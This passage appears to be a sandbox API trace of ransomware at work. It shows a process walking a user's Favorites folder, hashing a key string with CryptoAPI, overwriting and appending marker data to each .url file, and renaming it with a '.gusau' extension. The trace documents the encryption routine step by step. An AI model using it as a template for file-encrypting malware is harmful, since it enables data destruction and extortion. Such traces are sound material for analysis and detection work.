lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.244] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.244] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.244] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.244] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.244] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.244] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.244] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.244] CloseHandle (hObject=0x610) returned 1 [0118.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0118.245] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8b0) returned 0x39f5430 [0118.245] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0118.245] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.gusau")) returned 1 [0118.246] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.246] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.246] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.247] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0118.247] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.247] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.247] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.247] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned=".url" [0118.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.248] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.248] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.250] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.250] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.251] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.251] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.251] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.251] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.251] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.251] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.251] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.251] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.251] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.252] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.252] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.252] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.252] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.252] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.252] GetLastError () returned 0x0 [0118.252] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.252] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.252] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.252] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.252] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.252] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.252] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.252] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.252] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.252] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.252] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.253] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.253] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.253] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.253] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.253] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.253] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.253] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.253] CloseHandle (hObject=0x610) returned 1 [0118.253] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.253] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.254] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.254] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.gusau")) returned 1 [0118.256] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.256] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.256] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.256] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0118.256] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.257] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.257] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.257] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url") returned=".url" [0118.257] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.257] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.258] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.260] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.260] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.261] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.261] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.261] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.261] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.261] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.261] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.261] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.261] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.261] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.262] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.262] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.262] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.262] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.262] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.262] GetLastError () returned 0x0 [0118.262] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.262] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.262] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.262] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.262] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.262] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.262] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.262] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.262] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.262] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.262] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.262] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.262] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.262] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.262] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.263] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.263] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.263] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.263] CloseHandle (hObject=0x610) returned 1 [0118.263] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.263] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x8a0) returned 0x39f5430 [0118.263] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.263] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url.gusau")) returned 1 [0118.264] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.264] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.265] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0118.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39419a0 [0118.265] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa6) returned 0x3932798 [0118.265] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39419a0 | out: hHeap=0xd10000) returned 1 [0118.265] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url") returned=".url" [0118.265] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0118.265] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=133) returned 1 [0118.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0118.268] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.268] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0118.268] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0118.268] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.268] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0118.268] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x85, lpOverlapped=0x0) returned 1 [0118.268] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0118.269] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.269] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0118.269] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf08b0) returned 1 [0118.269] CryptCreateHash (in: hProv=0xdf08b0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0118.269] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0118.269] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0118.269] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0118.269] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0118.270] GetLastError () returned 0x0 [0118.270] CryptDestroyHash (hHash=0x3983720) returned 1 [0118.270] CryptReleaseContext (hProv=0xdf08b0, dwFlags=0x0) returned 1 [0118.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0118.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x3883e18 [0118.270] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0118.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0118.270] WriteFile (in: hFile=0x610, lpBuffer=0x3883e18*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x3883e18*, lpNumberOfBytesWritten=0x405fb24*=0x80, lpOverlapped=0x0) returned 1 [0118.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3883e18 | out: hHeap=0xd10000) returned 1 [0118.270] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb268 [0118.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5430 [0118.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0118.270] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5860 [0118.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb268 | out: hHeap=0xd10000) returned 1 [0118.270] WriteFile (in: hFile=0x610, lpBuffer=0x39f5860*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5860*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0118.270] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5860 | out: hHeap=0xd10000) returned 1 [0118.270] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.270] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0118.270] CloseHandle (hObject=0x610) returned 1 [0118.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf08b0 [0118.271] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5430 [0118.271] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf08b0 | out: hHeap=0xd10000) returned 1 [0118.271] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN.url.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn.url.gusau")) returned 1 [0118.272] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0118.272] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0118.272] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3932798 | out: hHeap=0xd10000) returned 1 [0118.272] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, 